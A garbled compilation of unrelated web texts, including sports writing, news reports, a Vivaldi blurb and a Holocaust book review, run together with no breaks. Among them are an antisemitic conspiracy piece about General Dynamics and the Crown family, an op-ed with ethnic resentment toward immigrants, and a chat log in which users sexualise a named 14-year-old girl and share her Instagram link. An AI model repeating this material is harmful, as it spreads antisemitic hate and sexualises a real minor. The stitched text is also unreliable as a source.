Debating the original award, we concluded that only two games deserved our attention: Rogue's post-nerf swarmhost build on Terraform or Rogue's baneling drops on Echo. Each build resulted in success, and both games were entertaining and enjoyable. One build was an attack, the other, a defense. Both were truly one of a kind, or at least, one-of-a-season. After several rounds of fierce debate, we realized that there was no way to separate the two builds, and the true outlier was, in fact, Rogue himself.
The Tinkerman was truly a delightful abomination at the end of Heart of the Swarm. Whereas players and playstyles usually begin to congeal as the game becomes more mapped out, Rogue (along with his teammate, sOs) remained one of the players insistent on solving problems his own way. That's exactly what he did with these two builds.
On Terraform, the problem zergs faced was late game ZvT, where many of the most adept terrans appeared impenetrable. Zergs either had to bum rush them early to gain a sizable advantage or pray to the overmind that their ultralisks don't block each other during their final assault. Instead, Rogue pulled out the swarm host, a unit barely used after the nerf. He didn't commit to them, however, as they were merely to buy time and pressure over a long period of time without additional cost. While a roach runby could have been more effective, such a maneuver could only happen once or twice before becoming too costly. Swarm hosts, on the other hand, presented a constant threat, and spread the terran out, dissuading him from taking bases too early. what's even more surprising about this game is the late game, where Rogue similarly innovated. While most zergs on the map attempted to bulldoze fortified positions with ultralisks, Rogue's solution was far more elegant. He committed to far more vipers and hydras, and utilized the maxim that energy |
four-game winning streak to start the 2016-17 season gave fans hope for the playoffs. But — blame the coach, the roster, injuries or anything else — unfortunately, the team was unable to play competitively for an entire season. With that, they are guaranteed another high draft pick this year.
Here at The Canuck Way, we will do our best to prepare you for the upcoming draft by profiling as many eligible players as we possibly can. Keep in mind that we are not saying these are players the Canucks are targeting. Instead, these are players that we think the Canucks could or should have interest in.
This year’s draft seems wide-open, with no real consensus in any of the seven rounds. So, it will certainly be interesting to see who will put on a Vancouver Canucks jersey come June.
Today we will take a first look at the later rounds, starting with local boy Scott Walford of the WHL Victoria Royals!
Name: Scott Walford
Position: Defense
Shoots: Left
Birthdate: 1999-01-12
Height, weight: 6’2”, 190 lbs
Team, league: Victoria Royals
Stats (from eliteprospects.com):
GP
G
A
P
PIM
+/-
60 6 24 30 36 -13
Rankings:
#90 by NHL Central Scouting (NA Skaters)
Risk, Reward: 2/5, 3.5/5
NHL-potential: Top-six defenseman
Draft Range: Rounds three to five
Scouting report
An underrated two-way defender who has shown an offensive side in the latter half of this season. Never tries to do more than he is capable of and takes care of his own end effectively. Always makes the safe play and gets the puck out of trouble. Stands his ground and keeps his net clear. Separates the puck away from opponents and has developed a physical game and is not afraid to throw the big hit. Patient in his own end and makes sure he has a clear path before he makes a pass. Has good size and battles in the corners. Will shoot the puck on the power play and does a good job of opening up space for himself to shoot. A reliable defender both defensively and in the offensive zone. Good vision and sees all areas of the ice well and skating has improved from start of the season. (HockeyNow)
Strengths
Scott Walford is a steady two-way defenseman who doesn’t wow you with flashy plays but rather plays a responsible all-around game. When you watch the Royals play, you might not notice Walford, but that’s usually when he’s at his best — just playing well positionally and making sure not to allow any scoring chances. A low-risk rearguard you can rely on with the puck in your zone.
Walford is an excellent skater with great mobility, coupled with a solid frame. He controls the gap well, closes passing lanes and is always aware of what’s going on around him. Over the course of the season, he has also developed more of a physical game, laying the occasional hit.
With the puck, Walford shows some promise as well. He can carry it out of trouble and play accurate breakout passes thanks to great vision and hockey sense. After scoring just 16 points in the first 47 contests of the season, Walford had 14 in the final 13 games. His vision and a heavy slap shot are two of the tools that give him some nice offensive upside.
Weaknesses
Walford has never posted a point per game and hasn’t come close since recording 51 points in 59 bantam games three years ago. So, what can we make of his 14 points in 13 games to finish his draft season? It’s certainly nice to see that offensive upside, but he might project as more of a defensive guy at the professional level.
Walford’s game has no real weaknesses, yet he projects to be picked in the fourth round or later. That’s because one of his strengths is also a weakness: He just doesn’t do anything outstanding. Walford isn’t flashy, he usually makes the safe play, and that might not be enough to make an impact in the NHL.
Final Thoughts
The Canucks will be picking early in each round of this year’s draft, so they probably shouldn’t look at Walford any earlier than the fourth round. As much as I like him, 64th is too early. That said, the Canucks’ 95th-overall selection as well as the San Jose Sharks’ fourth-round pick might be the perfect time to call Walford’s name.
Walford is a really solid player with great skating and hockey sense. Some scouts may question his offensive upside while others — myself included — have more trust in his abilities. Walford won’t be a 50-point scorer, but if he ends up scoring 25 to 30 points in the NHL one day, I would be more than happy.
Lastly, there is the hometown factor. Walford was born in Coquitlam, played minor hockey in the Okanagan and is spending his junior career a ferry ride away, with the WHL Victoria Royals. If the Canucks pick him and he develops into a solid pro, fans will certainly like him. (That is unless the Canucks select him sixth overall like a certain someone from New Westminster in 2014. Sorry, I had to.)ANKARA/PARIS (Reuters) - An Airbus A321 airliner landed in Tehran on Thursday, the first to arrive out of the 200 Western-built aircraft ordered by IranAir following the lifting of sanctions on Iran last year.
An IranAir Airbus A321 with the description "The Airline of the Islamic Republic of Iran" on the passenger plane as the company takes delivery of the first new Western jet under an international sanctions deal in Colomiers, near Toulouse, France, January 11, 2017. REUTERS/Regis Duvignau
“This is a historic moment for Iran, signalling the end of the sanctions era for the country... This is a prelude to the delivery of other aircraft and the renovation of Iran’s ageing air fleet,” state TV said.
Analysts say IranAir flies one of the world’s oldest fleets, with an average age of 23 years, and has had to rely on smuggled or improvised parts to keep them operational.
Iran, which has not directly purchased a Western-built plane in nearly 40 years, has ordered 100 airliners from Airbus and 80 from Boeing and is close to a deal to buy 20 turboprop aircraft from Toulouse-based ATR, which is jointly owned by Airbus and Italy’s Leonardo Finmeccanica.
The one exception was the sale of a plane to replace an Airbus jet shot down by the U.S. Navy in 1988.
The arrival of the Airbus 321 on Thursday comes just over a week before the Jan. 20 inauguration of U.S. President-elect Donald Trump, who is opposed to the deal struck by Western powers in 2015 which lifted sanctions against Iran in return for curbs on the country’s nuclear activities.
Republicans in the U.S. Congress have also objected to the pact, which was signed by the United States, Britain, Russia, France, China, Germany and Iran.
Iran’s pragmatist president Hassan Rouhani’s success in ending international sanctions by reaching the deal has also intensified a power struggle among the country’s faction-ridden elite, who have criticised the deal for a lack of tangible economic benefits since sanctions were lifted.
“This (aircraft) delivery was very crucial... especially the timing of it. Now people can see the result of lifting sanctions,” a senior Iranian official told Reuters on condition of anonymity.
“It will increase Rouhani’s popularity... and his chances for re-election in May.”
IranAir Chairman Farhad Parvaresh said in France on Wednesday in taking delivery of the Airbus plane that he hoped the United States would not block the agreement.
Both Airbus and Boeing need U.S. export licences to deliver the jets because of the number of U.S. parts they contain.
Both have received licences but some need to be extended due to the lengthy delivery period and analysts expect Boeing to point to the Airbus delivery to argue its deal should go ahead.
“Everything has been done according to the international regulations and rules up to now. We hope that nothing special happens to end this contract,” Parvaresh told reporters on Wednesday.
IranAir hopes to receive at least two more aircraft from Airbus by the end of March and a total of six A320 aircraft in calendar year 2017. State TV quoted Parvaresh as saying on Thursday that Iran’s Bank of Industry and Mine had financed the purchase of the first plane delivered.
Airbus and Boeing are putting up financing help for early deliveries as many Western banks remain wary of doing deals with Iran due to restrictions on the use of the U.S. financial system that remain in effect despite the nuclear deal.
People familiar with the matter said Airbus, initially reported to have backed the first seven deliveries, was now looking at providing finance for a larger number of deliveries and that Boeing planned to finance the first half a dozen jets.
Most planes are sold in dollars but Airbus is being paid in euros. Boeing’s bankers are looking for ways for the company to get paid for future deliveries without breaking core sanctions, subject to Treasury approval, a person close to the deal said.General Dynamics Corporation is an American aerospace and defense company formed by mergers and divestitures. It is the world’s fifth-largest defense contractor based on 2012 revenues.General Dynamics is headquartered in West Falls Church, Fairfax County, Virginia. It was founded by John Philip Holland to make submarines
Due to the lengthy and expensive process of introducing the world’s first practical submarines, Holland, short on funds, had to part with his company and sell his interest to Jewish financier Isaac Leopold Rice, renaming the new firm as the Electric Boat Company on 7 February 1899.Holland also had to sell all his submarine patents to Rice Holland effectively lost control of the company and found himself earning a salary of $90 a week as chief engineer, while the company he founded was selling submarines for $300,000 each.Holland resigned from the company effective April 1904.Rice became Electric Boat’s first President, remaining as CEO until 1915 when he stepped down just prior to his death on 2 November 1915. John Jay Hopkins took over after Rice
Not too surprisingly under Jewish financier Rice Electric Boat gained a reputation for unscrupulous arms dealing. In a typical Jew move, it sold submarines to Japan’s Imperial Japanese Navy and Russia’s Imperial Russian Navy in 1904-05, at the height of the Ruso Japanese war
During World War I, Rice’s new company (Electric Boat) and its subsidiaries built 85 Navy submarines and 722 submarine chasers.
Electric Boat was a founding company of General Dynamics Corporation, which is the company’s Cold War progeny. In the post-World War II wind-down, Electric Boat was cash-flush but lacking in work, with its workforce shrinking.In 1946 Hopkins purchased Canadair owned by the Canadian Govt for 10 million dollars This was the start of the Air Craft wing for General Dynamic for which it would become well known In 1952 it was renamed General Dynamics In March 1953 it purchased Convair from the Atlas Group.
Hopkins fell seriously ill during 1957, and was eventually replaced by Frank Pace later that year. Meanwhile, John Naish succeeded Joseph McNarney as president of Convair.
Henry Crown (original surname Krinski with roots in Lituanian Jewry) became the company’s largest shareholder, and merged his Material Service Corporation with GD in 1959. Who was Crown? Well in the words of Steven Nasatir, President, Jewish United Fund/Jewish Federation of Metropolitan Chicago“Every Israeli prime minister, every Israeli president knows the Crown family.”
The Crown Family finances the Aspen Institute which has highly placed Indian politicians and bureaucrats and their family members in its ranks see Aspen Institute Saudi Prince Bandar and Indian PM’s Private Secretaries
In the 1980s Lester Crown gradually took over his father Henry Crown and took over completely in 1990
Lester Crown is an ardent Zionist and Israel supporter Lester and Renée (née Schine) Crown are the parents of Steven, James, Patricia, Susan, Daniel, Sara, and Janet, and have 25 grandchildren. Their son James Crown is the President of Henry Crown & Co. A daughter, Janet Crown, is founder and owner of Burn 60 Fitness Studios. Many of his 7 children are in executive positions or members of major Jewish institutions. A daughter Susan Crown, is chairwoman of the Shoah Foundation. Together the family’s net worth exceeds 4 billion dollars.
GENERAL DYNAMICS ARSENAL
Aircraft systems
General Dynamics F-111 Aardvark
General Dynamics F-16 Fighting Falcon
Marine systems
National Steel and Shipbuilding Company, commonly referred to as NASSCO,is a division of General Dynamics.It has two shipyards located in San Diego, California and Norfolk, Virginia. The San Diego shipyard specializes in constructing commercial cargo ships and auxiliary vessels for the US Navy and Military ; it is the only new-construction shipyard on the West Coast of the United States.The Virginia shipyard primarily performs ship repairs and conversions for the U.S. Navy.Its most famous commercial ship was the Exxon Valdez tanker, was involved in the infamous oil spill in Alaska.
Missile systems
It makes the famous or infamous FIM-92 Stinger and Tomahawk (missile) missiles which have been used extensively in Afganisthan both against the Soviets and later against the US
Combat systems
This division makes tanks and armoured carriers including M1 Series Abrams Main Battle Tank Stryker Armored Combat Vehicle and the Crusader Self-Propelled Howitzer
Information systems and technology
General Dynamics Advanced Information Systems
Spacecraft
Atlas (rocket family)
NEXUS (rocket) (space launch vehicle)
Aerospace
Gulfstream Aerospace
Jet Aviation
CROWN FAMILY TIES WITH ISRAEL
As mentioned before the Crown family is strongly Zionist and pro-Israel It controls a huge arms production company and its pro-Israel Henry Crown was one of the most important arms procurers for Israel when there was an arms embargo BOTH on the Arabs and Jews American Jews like Henry Crown helped Israel circumvent the embargo
The fact that Henry Crown was involved in such a large weapons transfer indicates that he was involved at the highest level with the illegal weapons smuggling to Israel. This would have put him in contact with Teddy Kollek, which explains his close relationship with Kollek in later years.
Thus Henry Crown major shareholder and Managing Director of General Dynamics one of Americas largest millitary hardware firms was a hardcore Zionist who was breaking international and American law to help a country he had never set foot in and to which he never went to How many more illegal and antinational sales of hightech weaponry did Crown indulge in? Was he another Pollard or Zalman Shapiro who betrayed America to benefit Israel? Has his son Lester Crown and now his grandsons done the same?
CROWN FAMILY AND ORGANIZED CRIME
Lester Crown son of Lithuanian Jewish immigrants honest self-made Billionaire? Please….. Crown had strong ties with the Chicago mob In 1919, on borrowed capital of $10,000, Crown established (with his brother Irving) the Material Service Corporation (MSC). MSC sold gravel, sand, lime, and coal to builders in the Chicago area. A perfect cover to launder mob money WW2 was a WINDFALL for Crown At age 45 he bribed and used his connections to get into the army where he immediately got himself into the department handling supplies And guess where he directed the business to? Yes MCS
Investigative reporter Gus Russo in his explosive book “Supermob”— wrote about a cadre of men who, over the course of decades, secretly influenced nearly every aspect of American society. Famous members as Jules Stein, Joe Glaser, Ronald Reagan, Lew Wasserman, David Bazelon, and John Jacob Factor (with a few exceptions almost all Jewish )—as well as infamous, scrupulously low-profile members all were exposed and bought into the light.At the heart of it all was Sidney “The Fixer” Korshak (amazingly Jewish too ). http://www.amazon.com/Supermob-Korshak-Criminal-Associates-Americas/dp/B001FA23R2
The term Supermob — the term was coined by late Senate investigator Walter Sheridan — was, according to Russo,a group of mostly Jewish men who made a fortune by collaborating with Chicago’s underworld. Generally, these men took mob money and funneled it into such respectable outlets as real estate and the burgeoning film industry. Henry Crown was one such man
Sources http://www.bollyn.com/chicagos-elders-of-zion-and-obamas-war-for-profit/ ——–http://www.bollyn.com/chicago-thuggery-the-jewish-mob-obama/We're making a film about the oboe da caccia (Bach's unusual curved oboe). But we're slightly stuck with what to c… twitter.com/i/web/status/1…
On 11 May, In the Spirit of Tradition will feature music from Vivaldi, alongside works by Corelli, Handel, Bach and Sally Beamish. To start things off, here are 5 things you (probably) didn’t know about Antonio.
1) An earthquake shook Venice the day Vivaldi was born, March 4, 1687, so he literally came into the world with a bang!
2) Vivaldi was ginger. Although it is difficult to tell from the lack of colour photography and the fact that he often wore a powdered wig, he was in fact a natural red-head.
3) Vivaldi hand-wrote poetry on the manuscript of his well-known work The Four Seasons. No one is sure exactly who wrote the poetry, but it could have been Vivaldi himself. He also provided handwritten instructions throughout the piece, including ‘The barking dog’ in Spring, ‘Languor caused by the heat’ in Summer and ‘the drunkards have fallen asleep’ in Autumn.
4) Some of Vivaldi’s compositions were quite controversial at the time. For example, his opera, Arsilda, regina di Ponto, told the story of two women who fall in love while one pretends to be a man. The opera was immediately censored, but Vivaldi still managed to stage a work a year after completion.
5) Vivaldi wrote over 500 musical works in his lifetime. However, much of his music has since been lost or hidden, but it is gradually being rediscovered. A flute concerto was recently rediscovered in 2010 in Scotland, and an original manuscript of his opera Orlando Furioso was just found in July 2012.
We perform music by Vivaldi as part of our In the Spirit of Tradition concert at the Queen Elizabeth Hall on 11 May.
Also coming to venues in Jersey, Aberdeen, Gloucester and Bristol.How would you feel about some new political parties on the Canadian landscape? What about a party created for the benefit of people of European descent, you know, something along the lines of, say The European Alliance Party? How about a party that wants to focus on issues of interest to Caucasians, such as the Caucasian People’s Party? Or a party for British Protestants, such as the Orange Party? No? Well get ready for the inevitable outcome of state-sponsored multiculturalism as it moves toward the total balkanization of the Canada we once all knew and loved.
Recently a new political party was formed in British Columbia, called the National Alliance Party. Though the party’s name is pretty innocuous its raison d’etre is to bring a Chinese focus into the political scene. There are some 350,000 immigrants of Chinese origin in B.C. and the party’s founder Wei Ping Chen wants to involve as many of them as he can in the political process in Canada. Wei laments the fact that many Chinese men are forced to return to Asia to work in order to support their families, as their qualifications and degrees are often not recognized by organizations granting accreditation in Canada.
While Wei’s desire to involve Chinese immigrants in Canadian politics is laudable, the founding of a political party that focuses exclusively on the concerns of Chinese Canadians is not desirable, nor even acceptable.
With three or four (depends on where you live) major political parties in Canada already, forming a series of smaller parties that are exclusive to the concerns of certain ethnic, racial or other affinity groups is divisive and official Canadian values call that a no-no.
But then, official multiculturalism is by its very nature divisive, no matter how loudly its proponents proclaim that it is in fact inclusive. To be truly inclusive a culture would assimilate its immigrants and not ghettoize them into small “multicultural” enclaves.
The National Alliance Party is the first of its kind in Canada, but I predict not the last, as immigrants are realizing what multiculturalism really means. In Canada, as in Europe, Canadians are insisting that immigrants retain their respective cultures and are prepared to give up their indigenous Canadian Judeo-Christian culture to achieve that end. Consequently certain ethnic, cultural and religious groups are also beginning to realize the importance of having a political voice in Canada. Witness the wooing of Liberal politicians Maria Minna and Paul Martin by the Federation of Associations of Canadian Tamils, which has been named by both CSIS and the US Department of Homeland Security as a Tamil Tiger front. Through its involvement with these politicians, the Tamil Tigers were able to continue its fundraising efforts in Canada to support a bloody and terror-filled revolt back in Sri Lanka.
The inevitable outcome of our policy of state-sponsored multiculturalism will be the establishment of more and more political parties or action groups that concern themselves with the narrow concerns unique to them.
It is inevitable that there will soon be a Canadian Islamic Party or a party that concerns itself solely with issues concerning people of colour. That’s because despite our conceit that Canada is one of the most inclusive societies in the world, we are at heart a nation of closed and distant people.
The sentiments that fuel racism are indeed a two-way street, albeit some have argued idiotically that it is impossible for anyone but white people to be racist. Try walking through some of the ethnic ghettos in many of Canada’s big cities; the resentment and mistrust displayed by many of our multicultural masses toward the rest of Canada is palpable. And for that reason it’s only a matter of time before political parties that deal exclusively with narrow ethnic or racial concerns start spawning here like fish in the sea.
Original Article
Share ThisThe US could block plans by the British government to privatise the Ministry of Defence's equipment repair and maintenance arm because of fears over the security of shared military technology, according to secret MoD papers seen by the Observer.
The documents also state that the British army is "understandably nervous" about the sale to a private company of the Defence Support Group (DSG), a team of 2,800 top-grade engineers who service military equipment including aircraft, armoured vehicles and tanks both at home and in theatres such as Afghanistan.
Ministers announced plans to sell off the DSG in the 2010 Strategic Defence and Security Review as part of plans to slash the MoD budget, raising hundreds of millions of pounds. A formal invitation to tender is due in a few days.
But the documents, marked "restricted – commercial", spell out fears in Washington and the British army about the potential loss of intellectual property if and when top-secret information about equipment is taken out of MoD control and handed to a private company.
The UK and US have in recent years increasingly shared military and battlefield communications technology – including location systems, so as to prevent friendly-fire deaths. However, the Pentagon and some members of Congress have long been nervous about the implications of technology-sharing agreements, even with America's closest allies. In the past these were governed by tough export control licences, which led to long delays.
The process was made easier by the US-UK Defence Trade Co-operation Treaty, signed with George W Bush in 2007, in the last days of the Tony Blair administration. Coming into force last year, and driven by the need to share counter-terrorism technology more quickly during US-UK military co-operation in Iraq, this deal allowed much quicker technology transfers without the need for an export licence.
In exchange, the UK is required by treaty to ensure that US technology is both covered by the Official Secrets Act and physically secure.
It is the risk to this agreement that is at the heart of the problem. Indeed, US opponents of the treaty at the time pointed to the case of a US defence contractor that illegally transferred classified night-vision technology to China, Singapore – and Britain.
Tory and Labour MPs, as well as trade unions which fear job losses and closure of maintenance and repair bases, have already voiced opposition to the sale.
But the documents show that worries extend to the heart of the US and British military authorities. Top-level talks have taken place between US and UK officials. The papers state that "the sale of DSG gives rise to significant IP [intellectual property] issues".
A page marked "Risks" that lists measures taken to mitigate them states: "IPR issues are a potential showstopper if the department does not judge that a buyer would have sufficient rights to deliver the requirement. Risk if sale goes ahead on basis of incomplete information, post-sale IP owners could refuse access to the IP, meaning DSG services couldn't be delivered and unavailability of equipment."
The same page suggests the US would veto the handing of highly sensitive technical information to a private company if it was worried that agreements did not conform with legal requirements under the International Trade in Arms regulations (Itar), designed to protect national security.
The risk assessment states: "US government will be unwilling to agree to the transfer of activity on Itar-related technology to be transferred from MoD to the private sector … if work to agree such transfer is unsuccessful."
It is understood any contract given to a private company would involve around £1.4bn of work over 10 years.
The papers acknowledge concerns that a sale, if not handled well, might not save money and might lead to legal problems that could cause crucial equipment to be unavailable.
They also cite concerns over job losses and the security of supply of equipmentto the military. "Specific areas of concern are likely to include job security, site closures and guarantee of supply to the armed forces," it said.
The DSG's air business will be excluded from the sale, the documents state, because "the market has little appetite to acquire it". They say that even if no "strategic decision" had been made to sell DSG that "there would be a compelling case for change". The DSG's "throughput is set to reduce as operations in Afghanistan cease and the army retires some of its legacy platforms from service. If DSG is to remain viable, it must find new sources of work from MOD and other customers."
An MoD source said the sale of DSG would benefit taxpayers when completed in late 2014. "This will allow us to better concentrate resources on the frontline, rather than the behind-the-scenes supporting functions such as vehicle repairs and maintenance."Since we were often the only women covering a story, we partnered with men we could trust. It is stressful enough covering a battle — you don’t want to have to worry that a guy would make a pass at you. I was lucky. Koki Ishiyama, the resident Kyodo News correspondent, became my first war buddy on the battlefield and in classes learning the Khmer language. Thanks to Koki I broke the story that Solath Sar, better known as Pol Pot, was the real leader of the Khmer Rouge. Trying to dive deeper into the story, Koki was killed by the Khmer Rouge.
James Fenton, a precocious English poet, became my next war buddy. When we were in a foxhole on Christmas he celebrated by singing an improvised carol with the line “I saw three rockets sailing in on Christmas Day, on Christmas Day.” Now one of England’s finest poets, James wrote extraordinary verse during the war. His “In a Notebook” is the best poem of the Vietnam War.
Did it make a difference having women report a war? Absolutely. Considering our small numbers — a few dozen, over the course of more than a decade, spread across three countries — we had an outsize impact.
We wrote two of the standard histories of the war. Frances Fitzgerald of The New Yorker wrote “Fire in the Lake: The Vietnamese and the Americans in Vietnam,” still a popular book on the war. She was the first to explore the history of the country and its people to understand the American war, winning the Pulitzer Prize and the National Book Award. I wrote “When the War Was Over: Cambodia and the Khmer Rouge Revolution,” which has become a classic history of Cambodia and the genocide. Because of the research in my book — including rare interviews with Pol Pot and other Communist leaders — I was called 30 years later to testify as an expert witness in the war crimes tribunal of the Khmer Rouge.
And while the role of female reporters was often overlooked, individual correspondents won accolades then and later. Gloria Emerson, the only woman sent by The New York Times to Vietnam, won the George Polk Award for her coverage focusing on the suffering of the Vietnamese people rather than the military story. Françoise DeMulder gave up her career as a model in Paris and took up war photography in Vietnam and Cambodia, creating a portfolio that captured the rich and often exotic story on the fringes of the battlefield. In 1977 she became the first woman to win the World Press Photo of the Year Award for her images from the war in Lebanon. Sylvana became the first woman to be foreign editor at U.P.I. and later was the first spokeswoman for the United Nations secretary general.
The price we paid for covering the war was often high. Many women never found life partners or never had the children they had wanted. More than a few came back bedeviled by nightmares from the atrocities and deaths they witnessed. Dickey Chapelle, who had made history covering World War II and Korea, was killed in Vietnam in an operation near Chu Lai, becoming the first American female correspondent to die in combat.
Kate remained single, covering wars and countries in crisis until her health failed. She died in 2007. Now, as befits a legend, her story is being made into a film. The actress Carey Mulligan will play Kate, and we will finally have a movie about one of our own.Cher is being sued for allegedly telling her choreographer there were too many black people on stage during her concerts... but the singer says the allegations are BS.
According to a new lawsuit–obtained by TMZ–Cher was auditioning dancers for her “Dressed to Kill” tour in 2014 when choreographer Kevin Wilson said he particularly liked “a minority female dancer.” Wilson claims Cher responded, “We have too much color onstage.”
Wilson claims in the suit–filed by attorney Perry Wander–Cher then told him to find a white, blonde dancer. Wilson further claims he was instructed “not to cast anymore dark skinned black dancers on the tour.”
{snip}
Wilson–who is black–is claiming racial discrimination and retaliation.
Cher’s rep tells TMZ, “These are ridiculous allegations. They couldn’t be further from the truth.” Cher’s lawyer zeroed in on the alleged racial statement, calling it “untrue and categorically denied,” adding, “To attribute such a statement to Cher is absurd.”
Original Article
Share ThisIvanka Trump, who was revealed to be slated for a new White House job earlier this week, is now going to receive a security clearance — a possibility that her father decried as "fake news" in November.
In addition to getting a security clearance, Ivanka Trump will also have an office in the West Wing, according to a report by the Associated Press. Yet when rumors surfaced shortly after Donald Trump's election that his daughter would be given a security clearance, the president-elect took to Twitter to deny it.
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Two former White House lawyers, including President George W. Bush's chief ethics counselor Richard Painter, joined three other ethics advocates to write a letter to White House counsel Don McGahn urging the president not to appoint Ivanka to this position.
"On the one hand, her position will provide her with the privileges and opportunities for service that attach to being a White House employee.On the other hand, she remains the owner of a private business who is free from the ethics and conflicts rules that apply to all White House employees," the letter's authors write.
Ivanka Trump's attorney Jamie Gorelick told Politico on Monday that "having an adult child of the president who is actively engaged in the work of the administration is new ground."
She added that "our view is that the conservative approach is for Ivanka to voluntarily comply with the rules that would apply if she were a government employee, even though she is not."
The article noted that Ivanka Trump has long had a very close professional relationship with her father, stretching back to the days when she was employed at the Trump Organization and on his reality TV series "The Apprentice."(CNN) The USS Antietam, a US Navy Ticonderoga-class guided-missile cruiser, damaged its propellers and spilled hydraulic oil into the water after running aground off the coast of Japan.
The incident, which occurred Tuesday while the ship was anchoring in Tokyo Bay near Yokosuka, Japan, did not result in any injuries to US or Japanese personnel, but the discharge of up to 1,100 gallons of hydraulic oil prompted environmental concerns.
"The Navy is cooperating with the Government of Japan and Local Japanese Coast Guard in response to this issue and is exhausting all options to minimize impacts to the environment," according to a statement from Kyoko Sugita, a US Navy spokesperson.
JUST WATCHED World's first nuclear aircraft carrier retired Replay More Videos... MUST WATCH World's first nuclear aircraft carrier retired 01:11
The US has deployed a vessel to monitor the area for any visible signs of oil on the shoreline and vowed to initiate immediate clean-up procedures if any is detected.
The USS Antietam was able to safely return to Yokosuka Naval Base with the help of tug boats following the incident and continuing inspections show that oil is no longer leaking from the ship, the Navy said.
Read MoreA Cobb County judge denied a prosecutor's motion Tuesday to try a teen gang member accused of shooting a Marietta police officer in the leg as an adult.
Judge Joanne Elsey ruled not to move the boy's case to Cobb Superior Court, which means the teen — who has not been identified because of his age — will be tried in juvenile court, all of which are bench trials, according to Kimberly Isaza, spokeswoman at the Cobb District Attorney's Office.
"Judge Elsey found that (he) is amenable to juvenile treatment," Isaza said.
The boy will remain in custody until the trial, which doesn't have a date.
There are two 15-year-old members of the Bloods gang who are being held in the shooting of officer 10-year veteran Scott Davis, who is recuperating. The other teen had his hearing rescheduled to 9 a.m. on Oct. 11.
The shooting happened at The Gallery Apartment about 4:30 a.m. Aug. 14.
The boys face a violation of Georgia’s Street Gang Terrorism and Prevention Act along with charges of aggravated assault on a police officer, unlawfully entering an automobile, possession of a firearm during the commission of a felony and theft by recieving.Brazilian Jiu Jitsu world champion and George St. Pierre's training partner Braulio Estima apparently sought out Nick Diaz to congratulate him on a gutty performance in the main even of UFC 158. Estima had this to say on his Facebook account about how things went:
Some might remember Braulio Estima was the opponent Nick Diaz no-showed against at the World Jiu Jitsu Expo last spring, and Estima spoke out then about how disrespectful Nick acted in that situation also. It was suggested in this post that Diaz actually shoved Estima away when he tried to shake hands, but Estima, being a longtime friend of St. Pierre, didn't want to cause an incident.
What is also interesting is the role than Kron Gracie, son of Rickson, took in this situation. Most sport grappling fans are aware of some very intense matches that have taken place between Kron and Braulio's brother, Victor Estima. According to Braulio's version of events it appears Kron harbors some ill feelings against the Estima family.Anna Bikont appeared at the Museum of Jewish Heritage in New York on Oct. 22, in conversation with Tablet magazine literary editor David Samuels.
“I can’t sleep at night. I see it as if it were yesterday. … That terrifying scream that probably didn’t last for more than two minutes, it’s still inside me.” The woman speaking these words was 10 years old on July 10, 1941, when she saw her fellow Poles driving their Jewish neighbors into the barn. Schoolboys jeered at their Jewish classmates, hounding them toward death. Mothers wrapped their babies tight as they tried to shield them against the blows. Within minutes nearly all the town’s Jews—hundreds of them, from infants to old people—would be burned alive. The 10-year-old girl at the window watched the townspeople of Jedwabne pour gasoline at the barn’s four corners and set it alight. Then came the scream.
This account comes from Anna Bikont’s book The Crime and the Silence, which appeared in 2004 in Polish and six years later in French (it won the European Book Prize in 2011) but has just now been translated into English by Alissa Valles. In her work as a reporter for the Gazeta Wyborcza, the liberal Polish newspaper, Bikont has done obsessive, heroic work, interviewing witnesses, perpetrators, and survivors of the Jedwabne massacre and similar mass killings of Jews in the nearby towns of Radzilow and Wasosz. She has discovered a bizarre psychological phenomenon: The townspeople of Jedwabne still insist that they are the victims of Jewish slander. The massacre, they say, was perpetrated either by a few thugs, probably people from out of town, or by the Germans.
Bikont uses the townspeople’s own words to demolish their claim to innocence. She shows that virtually all of Jedwabne knows who the leading murderers were, who stayed home that day in July 1941 and who joined the bloodthirsty mob. These truths were passed down for decades in hints and whispers at kitchen tables and over rounds of vodka. What happened in 1941 was, as Polish President Krasniewski bravely called it, not a pogrom but a genocide, Jedwabne’s wholehearted effort to shatter every trace of Jewish life. Minutes after the killings the town went on a massive looting spree, robbing Jewish homes of silverware, furs, and furniture. These were their neighbors, people they had known for years.
How could an atrocity like Jedwabne happen? Looking for an answer, Bikont confronts the troubled depths |
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Last year saw her jump on a board, and now with home-schooling a day to day venture for the young Virgo, it’s safe to say surfing will be the activity chosen for Physical Education. The family plans to do more trips together throughout the year ahead, on which is what Ruby is looking forward to most. What sparks her love for surfing? It’s the place where she is happiest, hanging out with her family and best friends all at once. """ lol who writes this trash delta - Today at 7:31 PM >coffey clan wew peperbag - Today at 7:31 PM On that pic it says posted 81 weeks ago knajjd1488 - Today at 7:31 PM what the fuck is that Dylan - Today at 7:31 PM the best prime is 14-16 imo delta - Today at 7:31 PM oh was it 81? kek canino1997 - Today at 7:31 PM she doesnt look like 12-13 closetolosingit - Today at 7:31 PM 81 weeks is over a yr+half ago canino1997 - Today at 7:31 PM yes delta - Today at 7:31 PM ye canino1997 - Today at 7:31 PM she just turned 14 delta - Today at 7:31 PM seems about right closetolosingit - Today at 7:31 PM mmm i could see a 14 yr old lookin like that delta - Today at 7:31 PM she doesnt look 14 but i believe it canino1997 - Today at 7:32 PM she was hot when she was 12 delta - Today at 7:32 PM post 12 closetolosingit - Today at 7:32 PM she'll hae a shitty tme tbh NEW MESSAGES closetolosingit - Today at 7:32 PM everyone wil be leerin at her tryin to grab her 14 yr old boobs tough situation canino1997 - Today at 7:32 PM how to I scrowl down delta - Today at 7:32 PM >shitty time canino1997 - Today at 7:32 PM to get to her first post delta - Today at 7:32 PM close Jim - Today at 7:32 PM Make Instagram account delta - Today at 7:32 PM how bp'ed are you Dylan - Today at 7:32 PM wut close knajjd1488 - Today at 7:32 PM imagine this whore being 20 Dylan - Today at 7:33 PM she has life on easy mode knajjd1488 - Today at 7:33 PM granny motherfucker delta - Today at 7:33 PM exactly dylan wtf Dylan - Today at 7:33 PM shes playing on tutorial mode peperbag - Today at 7:33 PM https://www.instagram.com/p/vu-L0aAxr4/?taken-by=bonnieloucoffey Instagram Instagram post by Bonnielou☕️ • Nov 23, 2014 at 7:30am UTC 1,251 Likes, 25 Comments - Bonnielou☕️ (@bonnieloucoffey) on Instagram: “Why so serious?”Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
This is the jaw-dropping moment a politician was caught on camera urinating into a cup of coffee.
Jerry Bance, a Conservative party candidate in Canada, has been forced to apologise after the footage emerged of him from 2012.
